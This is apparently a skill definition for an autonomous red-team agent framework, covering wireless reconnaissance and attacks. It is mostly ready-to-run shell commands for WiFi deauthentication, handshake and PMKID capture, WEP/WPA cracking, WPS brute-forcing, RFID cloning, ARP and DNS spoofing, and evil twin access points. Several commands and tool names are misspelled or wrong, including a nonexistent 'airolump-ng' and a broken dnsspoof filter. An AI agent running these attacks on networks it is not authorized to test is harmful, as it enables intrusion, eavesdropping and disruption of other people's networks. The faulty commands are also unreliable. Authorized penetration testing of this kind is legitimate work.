with one click
wireless-security
Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection.
Menu
Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection.
Drive Decepticon — an autonomous multi-agent red-team framework — over MCP to run authorized penetration tests and bug-bounty engagements end to end, then watch and steer them live from chat. Launch an engagement against a target, poll its transcript to narrate progress, send messages to refocus it, and pull findings as SARIF. Use when the user asks to run a pentest/red-team engagement, hunt a bug bounty, do recon, exploit/scan a host, web app, API, network, cloud, Active Directory, mobile app, or smart contract WITH Decepticon — or to check/resume a running engagement or report what Decepticon found. Triggers: run a decepticon engagement, pentest this with decepticon, bug bounty, recon this target, red team this, scan this host, resume the engagement, what did decepticon find, decepticon status. Do NOT use for ad-hoc local tool runs (running nmap/sqlmap/ffuf directly) when no Decepticon server is involved — this drives the Decepticon orchestrator, not raw tools.
IoT device security reconnaissance — firmware extraction, embedded analysis, protocol identification, default credential checking, vulnerability scanning, device fingerprinting.
Mobile application security reconnaissance — APK/IPA analysis, permission enumeration, certificate validation, hardcoded secret detection, insecure storage identification, network security analysis.
Operational-tier finding template — minimal fields for sub-agent decision support. Heavyweight deliverable promotion lives in skills/decepticon/final-report.
Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
Final engagement report generation — executive summary, technical report, findings aggregation, attack path narrative, detection gap matrix, remediation roadmap.
| name | wireless-security |
| description | Wireless network security reconnaissance — WiFi analysis, Bluetooth assessment, RFID/NFC evaluation, signal capture, protocol analysis, encryption testing, rogue device detection. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"reconnaissance","when_to_use":"wireless security, WiFi analysis, Bluetooth assessment, RFID, NFC, signal capture, protocol analysis, encryption testing, rogue device detection, wardriving, packet capture","tags":"wireless, wifi, bluetooth, rfid, nfc, signal-analysis, encryption-testing, wardriving, packet-capture, rogue-device","mitre_attack":"T1584, T1584.001, T1584.002, T1584.003, T1584.004"} |
Wireless network security reconnaissance involves identifying, analyzing, and assessing wireless communication protocols and networks for vulnerabilities. This includes WiFi, Bluetooth, RFID/NFC, Zigbee, Z-Wave, LoRaWAN, and other wireless technologies.
# Scan for WiFi networks
airodump-ng wlan0
# Scan specific channel
airodump-ng -c 6 --bssid <BSSID> wlan0
# Scan all channels
wash -i wlan0 -C
# Identify target network
airolump-ng wlan0
# Get network information
airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0
# Identify connected clients
airodump-ng -c <channel> --bssid <BSSID> wlan0
# Deauthenticate clients to capture handshakes
aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0
# Check encryption type
airodump-ng -c <channel> wlan0 | grep "CH\s*"
# WEP detection (vulnerable)
if [ "$(airodump-ng -c <channel> wlan0 | grep WEP)" ]; then echo "WEP detected - vulnerable!"; fi
# WPA/WPA2 detection
airodump-ng -c <channel> wlan0 | grep -E "WPA|WPA2"
# Open network detection
airodump-ng -c <channel> wlan0 | grep "OPEN"
# WPS vulnerability check
wash -i wlan0 -C
reaver -i wlan0 -b <BSSID> -vv
bully <BSSID> -c <channel> wlan0
# PMKID attack (if WPA2)
hcxpcapngtool -o hash.hc22000 capture.cap --pmkid
# WPA handshake capture
aireplay-ng -0 10 -a <BSSID> wlan0
# WEP cracking
airecrack-ng -b <BSSID> capture.cap
# WPA/WPA2 cracking with wordlist
airecrack-ng -w wordlist.txt -b <BSSID> capture.cap
# Use hashcat for GPU acceleration
hcxpcapng2john capture.hc22000 > hash.txt
hashcat -m 22000 hash.txt wordlist.txt
# Scan for Bluetooth devices
hcitool scan
# Extended scan with more details
bluetoothctl scan on
bluetoothctl devices
# Discover services on device
sdptools browse <device_address>
# RFCOMM scan
rfcomm -a <device_address> list
# Connect to device
bluetoothctl connect <device_address>
# Trust and pair
bluetoothctl trust <device_address>
bluetoothctl pair <device_address>
# Scan for BLE devices
hcitool lescan
# Scan with more details
bluetoothctl scan on
# Discover services
gatttool -b <device_address> -p /dev/null connect
# List services
gatttool -b <device_address> -p /dev/null primary
# List characteristics
gatttool -b <device_address> -p /dev/null characteristics
# Capture BLE packets
btmon
# Filter BLE traffic
tshark -i bluetooth0 -f "btcommon.address == <device_address>"
# Use RFID reader
rfidtool --read
# Clone RFID tag (if vulnerable)
rfidtool --clone --source <source_uid> --target <target_uid>
# Proxmark3 commands
proxmark3> hf search
proxmark3> hf mfdump
# NFC tag reading
nfc-list
nfc-poll
# Mifare Classic analysis
mfoc -O mf_dump.bin
# NFC URL extraction
nfc-mfultralight rdump nfc_dump.bin
strings nfc_dump.bin
# WiFi packet capture
tcpdump -i wlan0 -n -w capture.pcap
# Filter for specific protocol
tcpdump -i wlan0 -n port 53 -w dns_capture.pcap
# Airplane mode packet capture
tshark -i wlan0 -w wireless_capture.pcap
# Use SDR (Software Defined Radio)
rtl_sdr -f 2412e6 -s 2e6 -g 20 -b 8 -F 0 -l 0 -E deinterleave -E dcblock -E normalized output.raw
# Analyze with gnuradio
# Requires GNU Radio setup
# Monitor signal strength
watch -n 1 "iwconfig wlan0 | grep Signal"
# Create signal heatmap
kismet
# Detect rogue APs
kismet
# Use specialized tools
wifi-pumpkin -i wlan0
# Detect evil twin attacks
airodump-ng -c <channel> wlan0 | grep -E "<known_SSID>|<known_BSSID>"
# Detect unauthorized clients
airodump-ng -c <channel> wlan0 | grep -v <authorized_mac_list>
# Detect MAC spoofing
airodump-ng -c <channel> wlan0 | grep -E "<known_MAC_prefixes>"
# Analyze WiFi management frames
tshark -i wlan0 -Y "wlan.fc.type == 0" -V
# Analyze WiFi control frames
tshark -i wlan0 -Y "wlan.fc.type == 1" -V
# Analyze WiFi data frames
tshark -i wlan0 -Y "wlan.fc.type == 2" -V
# Analyze Bluetooth packets
tshark -i bluetooth0 -V
# Filter for specific Bluetooth protocol
tshark -i bluetooth0 -Y "btatt" -V
# Test WEP encryption strength
aireplay-ng -1 0 -e <ESSID> -a <BSSID> -h <My_MAC> wlan0
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -e <ESSID> -a <BSSID> -h <My_MAC> wlan0
# Test WPA handshake
aircrack-ng -w wordlist.txt -b <BSSID> capture.cap
# Check Bluetooth encryption status
bluetoothctl info <device_address>
# Test encryption strength
# Requires specialized tools
# Deauthenticate specific client
aireplay-ng -0 10 -a <BSSID> -c <Client_MAC> wlan0
# Deauthenticate all clients
aireplay-ng -0 10 -a <BSSID> wlan0
# Continuous deauthentication
aireplay-ng -0 0 -a <BSSID> wlan0
# ARP spoofing
arpspoof -i wlan0 -t <target_ip> -r <gateway_ip>
# DNS spoofing
dnsspoof -i wlan0 "tcp port 53 and (udp port 53)"
# Create evil twin AP
airbase-ng -e <Fake_SSID> -c <channel> wlan0
# Use hostapd
# Configure /etc/hostapd/hostapd.conf
# Then: hostapd /etc/hostapd/hostapd.conf
# Comprehensive WiFi suite
aircrack-ng suite
# - airodump-ng: Packet capture
# - aireplay-ng: Packet injection
# - airtun-ng: Virtual tunnel interface
# - airolump-ng: WEP and WPA PSK key generator
# WPA/WPA2 handshake capture
wifite
# WiFi signal analysis
kismet
# Bluetooth scanning and analysis
bluetoothctl
# RFCOMM tool
rfcomm
# SDP tool
sdptools
# RFID analysis
rfidtool
# NFC analysis
libnfc tools
# Proxmark3
proxmark3-client
| Tool | Purpose | Required |
|---|---|---|
airodump-ng | WiFi packet capture | ✅ |
aireplay-ng | WiFi packet injection | ✅ |
aircrack-ng | WiFi encryption cracking | ✅ |
wash | WPS detection | ✅ |
reaver | WPS brute-force attack | ✅ |
bully | WPS brute-force attack | ✅ |
hcxpcapngtool | PMKID extraction | ✅ |
hashcat | Password cracking | ✅ |
hcitool | Bluetooth device scanning | ✅ |
bluetoothctl | Bluetooth device management | ✅ |
gatttool | BLE service discovery | ✅ |
rfcomm | RFCOMM channel access | ✅ |
sdptools | SDP service discovery | ✅ |
tcpdump | Network packet capture | ✅ |
tshark | Command-line protocol analysis | ✅ |
kismet | Wireless network detector | ✅ |
rtlsdr | Software Defined Radio | ❌ |
proxmark3 | RFID/NFC analysis | ❌ |
wifite | Automated WiFi attacks | ✅ |